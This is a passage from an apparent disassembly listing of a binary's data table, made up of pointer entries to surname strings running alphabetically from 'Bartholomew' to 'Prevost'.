		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset dword_430058
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
